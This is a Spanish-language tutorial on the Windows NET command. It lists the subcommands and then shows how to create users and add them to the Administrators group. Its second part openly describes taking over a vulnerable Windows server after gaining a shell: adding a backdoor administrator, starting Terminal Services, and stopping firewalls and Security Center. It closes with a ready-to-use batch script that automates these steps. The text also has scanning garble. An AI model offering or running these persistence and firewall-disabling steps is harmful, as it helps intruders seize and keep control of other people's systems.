EL COMANDO NET DE MS-DOS 
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1-Introdución 
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El Comando NET de MS-DOS puede ser introducido por los 
"administradores" 

del sistema a traves de la consola. 

Este comando es bastante potente, ya que con el podemos 
hacer muchas cosas. 

En este tutorial les explicare para que se utiliza, 
distintos comandos y al final 

ire poniendo varios ejemplos de sus usos. 
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2-¿Para que se utiliza? 


PS PS 9 PPD 6AOD6AOS6AOSY6ASAPA¿ASA¿ADNADNASNASNASYNASY¡ASYNASYNAYNASNASNAS 


Pues este comando es muy utilizado para mostrar informacion 
sobre servidores, redes, 

recursos compartidos, conexiones, añadir usuarios, 
configuración del dominio... 
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3-Comandos NET y sus usos 
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Net File: 

Muestra los ficheros abiertos en un servidor y tiene la 
opcion para cerrar los ficheros 

compartidos y desbloquear ficheros. 


Net Accounts: 

Muestra la configuracion actual y las restricciones que se 
aplican en la politica 

de passwords, limitaciones de conexion e informacion de 
dominio. 

Tambien tiene opciones para actualizar la base de datos con 
las cuentas de los 


usuarios y modificar los requerimientos de conexion y 
password. 


Net Computer: 
Añade o borra hosts de la base de datos de un dominio. 


Net Config Server o Net Config Workstation: 
Muestra información sobre la configuracion del servicio de 
servidor. 


Net Group: 

Muestra informacion sobre nombres de grupo y tiene opciones 
que se pueden usar para añadir o modificar grupos globales 
en servidores. 


Net Continue: 
Reactiva un servicio NT que fue suspendido por NET PAUSE. 


Net Help: 
Nos Ofrece Ayuda sobre este Comando [NET] 


Net Localgroup: 
Usado para listar grupos locales en servidores. 
Estos Grupos tambien se pueden modificar. 


Net Name: 
Nos muestra los nombres de los PC's y de los usuarios a 
los que se les puede mandar mensajes. 


Net Pause: 
Este Comando se usa para suspender un determinador servicio 
NT. 


Net Print: 
Nos muestra los trabajos mandados a la impresora y las 
colas compartidas. 


Net Send: 
Este comando lo usamos para mandar mensajes a otros 
usuarios u ordenadores de la red. 


Net Session: 
Nos muestra informacion sobre las conexiones actuales. 
Ofrece comandos para desconectar ciertas sesiones. 


Net Share: 

Muestra informacion sobre todos los recursos compartidos. 
Comando usado para crear recursos compartidos a traves de 
red. 


Net Statistics Server O Net Statistics Workstation: 


Nos muestra el registro de estadisticas. 


Net Start: 
Sirve para abrir un servicio. 


Net Stop: 
Este comando nos sirve para cerrar servicios. 


Net Time: 
Comando usado para mostrar o inicializar la hora de 
un ordenador o dominio. 


Net Use: 

Este comando nos muestra una lista de PCs conectados y 
tiene opciones de conexion y desconexion de recursos 
compartidos. 


Net User: 
Nos muestra las cuentas de usuarios creadas en nuestro PC 
tambien trae la opcion de crear, manipular las cuentas. 


Net View: 
Muestra una lista de recursos compartidos en un PC, 
incluyendo servidores Netware. 
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4-Manejo de Usuarios 
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Para crear un usuario y darle permisos de administrador 
deberemos ejecutar lo siguiente: 


net user nombredeuser passdeuser /add 


C:>net user nombredeuser passdeuser /add 
Se ha completado el comando correctamente. 


Ahora si ponemos: 
net user nombredeuser 


Nos tirara información del usuario y nos podemos fijar en 
la penultima linea que pone: 


Miembros del grupo local  *Usuarios 


Ahora para ponerle en el grupo de administradores ponemos 
lo siguiente: 


Esto si tenemos el WINDOWS en Español: 
net LocalGroup "Administradores" nombredeuser /add 


-Esto si lo tenemos en Ingles: 
net LocalGroup "Administrators" nombredeuser /add 


C:X>net LocalGroup "Administradores" nombredeuser /add 
Se ha completado el comando correctamente. 


Ahora si ponemos otra vez net user nombredeuser nos tirara 
ya que estamos en el grupo de administradores y de 
usuarios. :D 


Ahora ya sabran crear un admin jJejJe. 
Ahora si quieren borrar alguna cuenta de usuario del equipo 
seria tan facil como poner: 


net user nombredeluser /del 


Tambien si quieren cambiar el password del algun 
administrador del equipo tendrian 
que poner lo siguiente: 


net user Administrador aquilanuevapass 
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B-Caso de Creacion Terminal Server 
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Bueno ya que en el tutorial que hizo el amigo drwxrx de 
Obtencion de terminal server, me fije que usaba el comando 
NET :D 


Los que no lo hayan leido aqui les dejo un mirror para que 
lo vean: 
http://www.kreepers.org/seguridad01/server.pdf 


Bueno pues este tutorial trataba de la obtención de 
terminal servers, crear el usuario, darle permisos de admin 
y abrir el Servicio "Terminal Services" 


Aqui tambien se lo explicare yo tambien para que vean que 
este comando se usa en bastantes Casos. 


Weno una vez que tengamos shell en un servidor WINDOWS (NT, 
2000, 2003) nos iriamos al ejecutador de comandos de la 
shell (CMD) y hay nos pondriamos a ejecutar comandos NET 
jeje. 


Primero creariamos un usuario: 


net user nombredeuser passdeuser /add 


Despues a ese usuario le dariamos permisos de admin y lo 
enviaríamos al grupo local de administradores: 


Si el Server esta en Español: 
net LocalGroup "Administradores" nombredeuser /add 


Si el Server esta en Ingles: 
net LocalGroup "Administrators" nombredeuser /add 


Hay ya tendriamos un administrador creado con estos datos: 


Nombre de Administrador: nombredeuser 
Password Administrador: passdeuser 


Ponen net user y hay veran su nombre :D 


Tenemos que tener en cuenta, que cuando ejecutamos estos 
comandos, nos deberia poner al final, depende en que idioma 
este lo siguiente: 


—Se ha completado el comando correctamente. 
—The command completed successfully. 


Si no les aparece eso, eske los comandos no les pueden 
ejecutar, asi que busquen otro servidor vulnerable ”” 


Bueno ahora pondriamos: 
net start 


Y hay veremos que nos tira todos los servicios que se estan 
utilizando. Nos tenemos que fijar aver si el servicio 
"Terminal Services" en ejecución. 


Si no esta, lo levantamos de la siguiente forma: 


net start "Terminal Services" 


Hay de momento ya tendriamos nuestro terminal server listo 
jeje pero muchas veces cuantos nos vayamos al escritorio 
remoto (mstsc), veremos que no nos deja acceder y nosotros 
nos preguntamos porque. 


Bueno pues puede ser porque aya un Firewall en ejecución. 
¿Que Hacemos para cerrar ese Firewall? 


Pues nos vamos otra vez al ejecutador de comandos de la 
shell (CMD) 


Y con el net start nos fijamos aver si esta algun Firewall 
en ejecución. 


Ejemplos Firewalls: Panda Firewall, Firewall de 
Windows/Conexión compartida a Internet (ICS)... 


Ahora para cerrarle ponemos: 

net stop "NombreFirewall" 

Hay ya le tendriamos que aver cerrado, nos vamos otra vez 
al Escritorio Remoto (mstsc) y ya nos dejaria entrar, el 


unico inconveniente que podria aver, seria que 
el server tendria un Firewall Fisico. 


Aquí les dejo un batch con todos estos comandos, para que 
no les tengan que poner Cada vez que lo hacen: 


fRecho off 

net user nombredeuser passdeuser /add 

net LocalGroup "Administradores" nombredeuser /add 
net LocalGroup "Administrators" nombredeuser /add 
net start “Terminal Services” 

net stop “nombredefirewall” 

net stop "Security Center" 

net stop "SharedAccess" 

net stop "Firewall de Windows/Conexion compartida a 
Internet (ICS)" 

exit 


Lo Copian y en el block de notas y lo guardan con la 
extensión *.bat 


EA RRA 


AMARA 


Bueno, espero que les haya gustado este tutorial y que lo 
hayan etendido 

perfectamente. Cualquier pregunta que tengan, envienmela a 
email. 


Tutorial Escrito por: Nitr0ONet 
Email: nl1tr0n3tftgmail.com 


